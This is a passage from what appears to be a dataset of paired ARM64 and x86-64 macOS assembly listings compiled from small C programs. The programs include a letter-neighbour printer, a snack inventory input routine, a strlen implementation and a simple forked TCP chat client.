.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "Digite uma letra: "
L_.str.1: ## @.str.1
.asciz "%c"
L_.str.2: ## @.str.2
.asciz "Antes da letra %c temos a letra %c. Depois temos a letra %c."
.subsections_via_symbols
| the_stack_data/23273.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _printshop ; -- Begin function printshop
.p2align 2
_printshop: ; @printshop
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
stur w1, [x29, #-12]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
stur wzr, [x29, #-16]
b LBB0_1
LBB0_1: ; =>This Inner Loop Header: Depth=1
ldur w8, [x29, #-16]
ldur w9, [x29, #-12]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_4
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-16]
; implicit-def: $x11
mov x11, x8
ldur x8, [x29, #-8]
ldursw x9, [x29, #-16]
mov x12, #28
mul x9, x9, x12
add x10, x8, x9
ldur x8, [x29, #-8]
ldursw x9, [x29, #-16]
mul x9, x9, x12
add x8, x8, x9
ldr s0, [x8, #24]
fcvt d0, s0
ldur x8, [x29, #-8]
ldursw x9, [x29, #-16]
mul x9, x9, x12
add x8, x8, x9
ldr w9, [x8, #20]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x11, [x9]
str x10, [x9, #8]
str d0, [x9, #16]
str x8, [x9, #24]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
b LBB0_3
LBB0_3: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-16]
add w8, w8, #1
stur w8, [x29, #-16]
b LBB0_1
LBB0_4:
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.globl _makeshop ; -- Begin function makeshop
.p2align 2
_makeshop: ; @makeshop
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur w0, [x29, #-4]
ldursw x9, [x29, #-4]
mov x8, #28
mul x0, x8, x9
bl _malloc
stur x0, [x29, #-16]
stur wzr, [x29, #-20]
b LBB1_1
LBB1_1: ; =>This Inner Loop Header: Depth=1
ldur w8, [x29, #-20]
ldur w9, [x29, #-4]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB1_4
b LBB1_2
LBB1_2: ; in Loop: Header=BB1_1 Depth=1
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
ldur x8, [x29, #-16]
ldursw x9, [x29, #-20]
mov x10, #28
str x10, [sp, #8] ; 8-byte Folded Spill
mul x9, x9, x10
add x8, x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _scanf
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
bl _printf
mov x9, sp
add x8, sp, #24
str x8, [x9]
adrp x0, l_.str.5@PAGE
add x0, x0, l_.str.5@PAGEOFF
bl _scanf
adrp x0, l_.str.6@PAGE
add x0, x0, l_.str.6@PAGEOFF
bl _printf
mov x9, sp
add x8, sp, #20
str x8, [x9]
adrp x0, l_.str.7@PAGE
add x0, x0, l_.str.7@PAGEOFF
bl _scanf
ldr x10, [sp, #8] ; 8-byte Folded Reload
ldr w8, [sp, #20]
ldur x9, [x29, #-16]
ldursw x11, [x29, #-20]
mul x11, x11, x10
add x9, x9, x11
str w8, [x9, #20]
ldr s0, [sp, #24]
ldur x8, [x29, #-16]
ldursw x9, [x29, #-20]
mul x9, x9, x10
add x8, x8, x9
str s0, [x8, #24]
b LBB1_3
LBB1_3: ; in Loop: Header=BB1_1 Depth=1
ldur w8, [x29, #-20]
add w8, w8, #1
stur w8, [x29, #-20]
b LBB1_1
LBB1_4:
ldur x0, [x29, #-16]
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
mov w8, #0
str w8, [sp, #12] ; 4-byte Folded Spill
stur wzr, [x29, #-4]
adrp x0, l_.str.8@PAGE
add x0, x0, l_.str.8@PAGEOFF
bl _printf
mov x9, sp
sub x8, x29, #8
str x8, [x9]
adrp x0, l_.str.7@PAGE
add x0, x0, l_.str.7@PAGEOFF
bl _scanf
ldur w0, [x29, #-8]
bl _makeshop
str x0, [sp, #16]
ldr x0, [sp, #16]
ldur w1, [x29, #-8]
bl _printshop
ldr x0, [sp, #16]
bl _free
ldr w0, [sp, #12] ; 4-byte Folded Reload
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "\n"
l_.str.1: ; @.str.1
.asciz "%d) %s cost: $%0.2f quantity: %d\n"
l_.str.2: ; @.str.2
.asciz "\nEnter a name: "
l_.str.3: ; @.str.3
.asciz " %s"
l_.str.4: ; @.str.4
.asciz "Enter a cost: "
l_.str.5: ; @.str.5
.asciz " %f"
l_.str.6: ; @.str.6
.asciz "Enter a quantity: "
l_.str.7: ; @.str.7
.asciz " %d"
l_.str.8: ; @.str.8
.asciz "\nEnter a number of snacks: "
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _printshop ## -- Begin function printshop
.p2align 4, 0x90
_printshop: ## @printshop
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq %rdi, -8(%rbp)
movl %esi, -12(%rbp)
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
movl $0, -16(%rbp)
LBB0_1: ## =>This Inner Loop Header: Depth=1
movl -16(%rbp), %eax
cmpl -12(%rbp), %eax
jge LBB0_4
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
movl -16(%rbp), %esi
movq -8(%rbp), %rdx
movslq -16(%rbp), %rax
imulq $28, %rax, %rax
addq %rax, %rdx
movq -8(%rbp), %rax
movslq -16(%rbp), %rcx
imulq $28, %rcx, %rcx
addq %rcx, %rax
movss 24(%rax), %xmm0 ## xmm0 = mem[0],zero,zero,zero
cvtss2sd %xmm0, %xmm0
movq -8(%rbp), %rax
movslq -16(%rbp), %rcx
imulq $28, %rcx, %rcx
addq %rcx, %rax
movl 20(%rax), %ecx
leaq L_.str.1(%rip), %rdi
movb $1, %al
callq _printf
## %bb.3: ## in Loop: Header=BB0_1 Depth=1
movl -16(%rbp), %eax
addl $1, %eax
movl %eax, -16(%rbp)
jmp LBB0_1
LBB0_4:
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _makeshop ## -- Begin function makeshop
.p2align 4, 0x90
_makeshop: ## @makeshop
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movl %edi, -4(%rbp)
movslq -4(%rbp), %rax
imulq $28, %rax, %rdi
callq _malloc
movq %rax, -16(%rbp)
movl $0, -20(%rbp)
LBB1_1: ## =>This Inner Loop Header: Depth=1
movl -20(%rbp), %eax
cmpl -4(%rbp), %eax
jge LBB1_4
## %bb.2: ## in Loop: Header=BB1_1 Depth=1
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
movq -16(%rbp), %rsi
movslq -20(%rbp), %rax
imulq $28, %rax, %rax
addq %rax, %rsi
leaq L_.str.3(%rip), %rdi
movb $0, %al
callq _scanf
leaq L_.str.4(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.5(%rip), %rdi
leaq -24(%rbp), %rsi
movb $0, %al
callq _scanf
leaq L_.str.6(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.7(%rip), %rdi
leaq -28(%rbp), %rsi
movb $0, %al
callq _scanf
movl -28(%rbp), %ecx
movq -16(%rbp), %rax
movslq -20(%rbp), %rdx
imulq $28, %rdx, %rdx
addq %rdx, %rax
movl %ecx, 20(%rax)
movss -24(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero
movq -16(%rbp), %rax
movslq -20(%rbp), %rcx
imulq $28, %rcx, %rcx
addq %rcx, %rax
movss %xmm0, 24(%rax)
## %bb.3: ## in Loop: Header=BB1_1 Depth=1
movl -20(%rbp), %eax
addl $1, %eax
movl %eax, -20(%rbp)
jmp LBB1_1
LBB1_4:
movq -16(%rbp), %rax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -4(%rbp)
leaq L_.str.8(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.7(%rip), %rdi
leaq -8(%rbp), %rsi
movb $0, %al
callq _scanf
movl -8(%rbp), %edi
callq _makeshop
movq %rax, -16(%rbp)
movq -16(%rbp), %rdi
movl -8(%rbp), %esi
callq _printshop
movq -16(%rbp), %rdi
callq _free
xorl %eax, %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "\n"
L_.str.1: ## @.str.1
.asciz "%d) %s cost: $%0.2f quantity: %d\n"
L_.str.2: ## @.str.2
.asciz "\nEnter a name: "
L_.str.3: ## @.str.3
.asciz " %s"
L_.str.4: ## @.str.4
.asciz "Enter a cost: "
L_.str.5: ## @.str.5
.asciz " %f"
L_.str.6: ## @.str.6
.asciz "Enter a quantity: "
L_.str.7: ## @.str.7
.asciz " %d"
L_.str.8: ## @.str.8
.asciz "\nEnter a number of snacks: "
.subsections_via_symbols
| the_stack_data/1236972.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _test_start_terminate_main ; -- Begin function test_start_terminate_main
.p2align 2
_test_start_terminate_main: ; @test_start_terminate_main
.cfi_startproc
; %bb.0:
mov w0, #0
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _test_start_terminate_main ## -- Begin function test_start_terminate_main
.p2align 4, 0x90
_test_start_terminate_main: ## @test_start_terminate_main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
xorl %eax, %eax
## kill: def $al killed $al killed $eax
movzbl %al, %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| the_stack_data/800505.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _strlen ; -- Begin function strlen
.p2align 2
_strlen: ; @strlen
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str x0, [sp, #8]
ldr x8, [sp, #8]
str x8, [sp]
b LBB0_1
LBB0_1: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp]
ldrb w8, [x8]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_3
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
ldr x8, [sp]
add x8, x8, #1
str x8, [sp]
b LBB0_1
LBB0_3:
ldr x8, [sp]
ldr x9, [sp, #8]
subs x0, x8, x9
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _strlen ## -- Begin function strlen
.p2align 4, 0x90
_strlen: ## @strlen
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, -8(%rbp)
movq -8(%rbp), %rax
movq %rax, -16(%rbp)
LBB0_1: ## =>This Inner Loop Header: Depth=1
movq -16(%rbp), %rax
cmpb $0, (%rax)
je LBB0_3
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
movq -16(%rbp), %rax
addq $1, %rax
movq %rax, -16(%rbp)
jmp LBB0_1
LBB0_3:
movq -16(%rbp), %rax
movq -8(%rbp), %rcx
subq %rcx, %rax
popq %rbp
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| the_stack_data/212644211.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
stp x28, x27, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w27, -24
.cfi_offset w28, -32
sub sp, sp, #592
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-24]
str wzr, [sp, #68]
str w0, [sp, #64]
str x1, [sp, #56]
ldr w8, [sp, #64]
subs w8, w8, #3
cset w8, eq
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
ldr x8, [sp, #56]
ldr x8, [x8]
mov x9, sp
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
mov w0, #1
bl _exit
LBB0_2:
mov w0, #2
mov w1, #1
mov w2, #0
bl _socket
str w0, [sp, #52]
sub x8, x29, #144
str x8, [sp, #40] ; 8-byte Folded Spill
stur xzr, [x29, #-144]
stur xzr, [x29, #-136]
mov w8, #2
sturb w8, [x29, #-143]
ldr x8, [sp, #56]
ldr x0, [x8, #8]
bl _inet_addr
stur w0, [x29, #-140]
ldr x8, [sp, #56]
ldr x0, [x8, #16]
bl _atoi
and w0, w0, #0xffff
bl __OSSwapInt16
ldr x1, [sp, #40] ; 8-byte Folded Reload
and w8, w0, #0xffff
sturh w8, [x29, #-142]
ldr w0, [sp, #52]
mov w2, #16
bl _connect
adds w8, w0, #1
cset w8, ne
tbnz w8, #0, LBB0_4
b LBB0_3
LBB0_3:
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _error_handling
b LBB0_4
LBB0_4:
bl _fork
str w0, [sp, #48]
ldr w8, [sp, #48]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB0_6
b LBB0_5
LBB0_5:
ldr w8, [sp, #52]
str w8, [sp, #28] ; 4-byte Folded Spill
add x0, sp, #204
str x0, [sp, #32] ; 8-byte Folded Spill
add x1, sp, #334
mov x2, #130
bl _memcpy
ldr w0, [sp, #28] ; 4-byte Folded Reload
ldr x1, [sp, #32] ; 8-byte Folded Reload
bl _write_routine
b LBB0_7
LBB0_6:
ldr w8, [sp, #52]
str w8, [sp, #12] ; 4-byte Folded Spill
add x0, sp, #74
str x0, [sp, #16] ; 8-byte Folded Spill
add x1, sp, #334
mov x2, #130
bl _memcpy
ldr w0, [sp, #12] ; 4-byte Folded Reload
ldr x1, [sp, #16] ; 8-byte Folded Reload
bl _read_routine
b LBB0_7
LBB0_7:
ldr w0, [sp, #52]
bl _close
ldur x9, [x29, #-24]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB0_9
b LBB0_8
LBB0_8:
bl ___stack_chk_fail
LBB0_9:
mov w0, #0
add sp, sp, #592
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x28, x27, [sp], #32 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.p2align 2 ; -- Begin function _OSSwapInt16
__OSSwapInt16: ; @_OSSwapInt16
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
strh w0, [sp, #14]
ldrh w9, [sp, #14]
ldrh w8, [sp, #14]
asr w8, w8, #8
orr w8, w8, w9, lsl #8
and w0, w8, #0xffff
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _error_handling ; -- Begin function error_handling
.p2align 2
_error_handling: ; @error_handling
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str x0, [sp, #8]
ldr x0, [sp, #8]
adrp x8, ___stderrp@GOTPAGE
ldr x8, [x8, ___stderrp@GOTPAGEOFF]
str x8, [sp] ; 8-byte Folded Spill
ldr x1, [x8]
bl _fputs
ldr x8, [sp] ; 8-byte Folded Reload
ldr x1, [x8]
mov w0, #10
bl _fputc
mov w0, #1
bl _exit
.cfi_endproc
; -- End function
.globl _write_routine ; -- Begin function write_routine
.p2align 2
_write_routine: ; @write_routine
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str x1, [sp, #16] ; 8-byte Folded Spill
stur w0, [x29, #-4]
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
ldr x0, [sp, #16] ; 8-byte Folded Reload
adrp x8, ___stdinp@GOTPAGE
ldr x8, [x8, ___stdinp@GOTPAGEOFF]
ldr x2, [x8]
mov w1, #30
bl _fgets
ldr x0, [sp, #16] ; 8-byte Folded Reload
bl _strlen
mov x8, x0
ldr x0, [sp, #16] ; 8-byte Folded Reload
subs x8, x8, #1
add x8, x0, x8
strb wzr, [x8]
mov x8, sp
str x0, [x8]
mov w1, #0
mov x2, #30
adrp x3, l_.str.4@PAGE
add x3, x3, l_.str.4@PAGEOFF
bl ___sprintf_chk
b LBB3_1
LBB3_1: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #16] ; 8-byte Folded Reload
add x0, x8, #30
adrp x8, ___stdinp@GOTPAGE
ldr x8, [x8, ___stdinp@GOTPAGEOFF]
ldr x2, [x8]
mov w1, #100
bl _fgets
ldr x8, [sp, #16] ; 8-byte Folded Reload
add x0, x8, #30
adrp x1, l_.str.5@PAGE
add x1, x1, l_.str.5@PAGEOFF
bl _strcmp
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB3_3
b LBB3_2
LBB3_2: ; in Loop: Header=BB3_1 Depth=1
ldr x8, [sp, #16] ; 8-byte Folded Reload
add x0, x8, #30
adrp x1, l_.str.6@PAGE
add x1, x1, l_.str.6@PAGEOFF
bl _strcmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB3_4
b LBB3_3
LBB3_3:
ldur w0, [x29, #-4]
mov w1, #1
bl _shutdown
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
LBB3_4: ; in Loop: Header=BB3_1 Depth=1
ldr x1, [sp, #16] ; 8-byte Folded Reload
ldur w0, [x29, #-4]
mov x2, #130
bl _write
b LBB3_1
.cfi_endproc
; -- End function
.globl _read_routine ; -- Begin function read_routine
.p2align 2
_read_routine: ; @read_routine
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str x1, [sp, #16] ; 8-byte Folded Spill
stur w0, [x29, #-4]
b LBB4_1
LBB4_1: ; =>This Inner Loop Header: Depth=1
ldr x1, [sp, #16] ; 8-byte Folded Reload
ldur w0, [x29, #-4]
mov x2, #130
bl _read
mov x8, x0
stur w8, [x29, #-8]
ldur w8, [x29, #-8]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB4_3
b LBB4_2
LBB4_2:
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
LBB4_3: ; in Loop: Header=BB4_1 Depth=1
ldr x8, [sp, #16] ; 8-byte Folded Reload
mov x9, x8
add x9, x9, #30
ldursw x10, [x29, #-8]
add x9, x9, x10
strb wzr, [x9]
add x8, x8, #30
mov x9, sp
str x8, [x9]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
b LBB4_1
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "Usage : %s <IP> <port> \n"
l_.str.1: ; @.str.1
.asciz "connect() error!"
l_.str.2: ; @.str.2
.asciz "Message from server: %s"
l_.str.3: ; @.str.3
.asciz "Your name : "
l_.str.4: ; @.str.4
.asciz "%s"
l_.str.5: ; @.str.5
.asciz "q\n"
l_.str.6: ; @.str.6
.asciz "Q\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $432, %rsp ## imm = 0x1B0
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl $0, -268(%rbp)
movl %edi, -272(%rbp)
movq %rsi, -280(%rbp)
cmpl $3, -272(%rbp)
je LBB0_2
## %bb.1:
movq -280(%rbp), %rax
movq (%rax), %rsi
leaq L_.str(%rip), %rdi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _printf
movl $1, %edi
callq _exit
LBB0_2:
movl $2, %edi
movl $1, %esi
xorl %edx, %edx
callq _socket
movl %eax, -284(%rbp)
leaq -128(%rbp), %rdi
xorl %esi, %esi
movl $16, %edx
callq _memset
movb $2, -127(%rbp)
movq -280(%rbp), %rax
movq 8(%rax), %rdi
callq _inet_addr
movl %eax, -124(%rbp)
movq -280(%rbp), %rax
movq 16(%rax), %rdi
callq _atoi
## kill: def $ax killed $ax killed $eax
movzwl %ax, %edi
callq __OSSwapInt16
movzwl %ax, %eax
## kill: def $ax killed $ax killed $eax
movw %ax, -126(%rbp)
movl -284(%rbp), %edi
leaq -128(%rbp), %rsi
movl $16, %edx
callq _connect
cmpl $-1, %eax
jne LBB0_4
## %bb.3:
leaq L_.str.1(%rip), %rdi
callq _error_handling
LBB0_4:
callq _fork
movl %eax, -288(%rbp)
cmpl $0, -288(%rbp)
jne LBB0_6
## %bb.5:
movl -284(%rbp), %eax
movl %eax, -292(%rbp) ## 4-byte Spill
movq %rsp, %rax
movl $16, %ecx
leaq -264(%rbp), %rsi
movq %rax, %rdi
rep;movsq (%rsi), %es:(%rdi)
movl -292(%rbp), %edi ## 4-byte Reload
movw -136(%rbp), %cx
movw %cx, 128(%rax)
callq _write_routine
jmp LBB0_7
LBB0_6:
movl -284(%rbp), %eax
movl %eax, -296(%rbp) ## 4-byte Spill
movq %rsp, %rax
movl $16, %ecx
leaq -264(%rbp), %rsi
movq %rax, %rdi
rep;movsq (%rsi), %es:(%rdi)
movl -296(%rbp), %edi ## 4-byte Reload
movw -136(%rbp), %cx
movw %cx, 128(%rax)
callq _read_routine
LBB0_7:
movl -284(%rbp), %edi
callq _close
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB0_9
## %bb.8:
xorl %eax, %eax
addq $432, %rsp ## imm = 0x1B0
popq %rbp
retq
LBB0_9:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.p2align 4, 0x90 ## -- Begin function _OSSwapInt16
__OSSwapInt16: ## @_OSSwapInt16
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movw %di, %ax
movw %ax, -2(%rbp)
movzwl -2(%rbp), %eax
shll $8, %eax
movzwl -2(%rbp), %ecx
sarl $8, %ecx
orl %ecx, %eax
## kill: def $ax killed $ax killed $eax
movzwl %ax, %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _error_handling ## -- Begin function error_handling
.p2align 4, 0x90
_error_handling: ## @error_handling
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq %rdi, -8(%rbp)
movq -8(%rbp), %rdi
movq ___stderrp@GOTPCREL(%rip), %rax
movq %rax, -16(%rbp) ## 8-byte Spill
movq (%rax), %rsi
callq _fputs
## kill: def $ecx killed $eax
movq -16(%rbp), %rax ## 8-byte Reload
movq (%rax), %rsi
movl $10, %edi
callq _fputc
movl $1, %edi
callq _exit
.cfi_endproc
## -- End function
.globl _write_routine ## -- Begin function write_routine
.p2align 4, 0x90
_write_routine: ## @write_routine
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
leaq 16(%rbp), %rax
movq %rax, -16(%rbp) ## 8-byte Spill
movl %edi, -4(%rbp)
leaq L_.str.3(%rip), %rdi
movb $0, %al
callq _printf
movq -16(%rbp), %rdi ## 8-byte Reload
movq ___stdinp@GOTPCREL(%rip), %rax
movq (%rax), %rdx
movl $30, %esi
callq _fgets
movq -16(%rbp), %rdi ## 8-byte Reload
callq _strlen
movq -16(%rbp), %r8 ## 8-byte Reload
subq $1, %rax
movb $0, (%r8,%rax)
xorl %esi, %esi
movl $30, %edx
leaq L_.str.4(%rip), %rcx
movq %r8, %rdi
movb $0, %al
callq ___sprintf_chk
LBB3_1: ## =>This Inner Loop Header: Depth=1
movq -16(%rbp), %rdi ## 8-byte Reload
addq $30, %rdi
movq ___stdinp@GOTPCREL(%rip), %rax
movq (%rax), %rdx
movl $100, %esi
callq _fgets
movq -16(%rbp), %rdi ## 8-byte Reload
addq $30, %rdi
leaq L_.str.5(%rip), %rsi
callq _strcmp
cmpl $0, %eax
je LBB3_3
## %bb.2: ## in Loop: Header=BB3_1 Depth=1
movq -16(%rbp), %rdi ## 8-byte Reload
addq $30, %rdi
leaq L_.str.6(%rip), %rsi
callq _strcmp
cmpl $0, %eax
jne LBB3_4
LBB3_3:
movl -4(%rbp), %edi
movl $1, %esi
callq _shutdown
addq $16, %rsp
popq %rbp
retq
LBB3_4: ## in Loop: Header=BB3_1 Depth=1
movq -16(%rbp), %rsi ## 8-byte Reload
movl -4(%rbp), %edi
movl $130, %edx
callq _write
jmp LBB3_1
.cfi_endproc
## -- End function
.globl _read_routine ## -- Begin function read_routine
.p2align 4, 0x90
_read_routine: ## @read_routine
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
leaq 16(%rbp), %rax
movq %rax, -16(%rbp) ## 8-byte Spill
movl %edi, -4(%rbp)
LBB4_1: ## =>This Inner Loop Header: Depth=1
movq -16(%rbp), %rsi ## 8-byte Reload
movl -4(%rbp), %edi
movl $130, %edx
callq _read
## kill: def $eax killed $eax killed $rax
movl %eax, -8(%rbp)
cmpl $0, -8(%rbp)
jne LBB4_3
## %bb.2:
addq $16, %rsp
popq %rbp
retq
LBB4_3: ## in Loop: Header=BB4_1 Depth=1
movq -16(%rbp), %rsi ## 8-byte Reload
movslq -8(%rbp), %rax
movb $0, 30(%rsi,%rax)
addq $30, %rsi
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB4_1
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "Usage : %s <IP> <port> \n"
L_.str.1: ## @.str.1
.asciz "connect() error!"
L_.str.2: ## @.str.2
.asciz "Message from server: %s"
L_.str.3: ## @.str.3
.asciz "Your name : "
L_.str.4: ## @.str.4
.asciz "%s"
L_.str.5: ## @.str.5
.asciz "q\n"
L_.str.6: ## @.str.6
.asciz "Q\n"
.subsections_via_symbols
| the_stack_data/572283.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _factorial ; -- Begin function factorial
.p2align 2
_factorial: ; @factorial
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str x0, [sp, #16]
str w1, [sp, #12]
str w2, [sp, #8]
mov x0, #20
bl _malloc
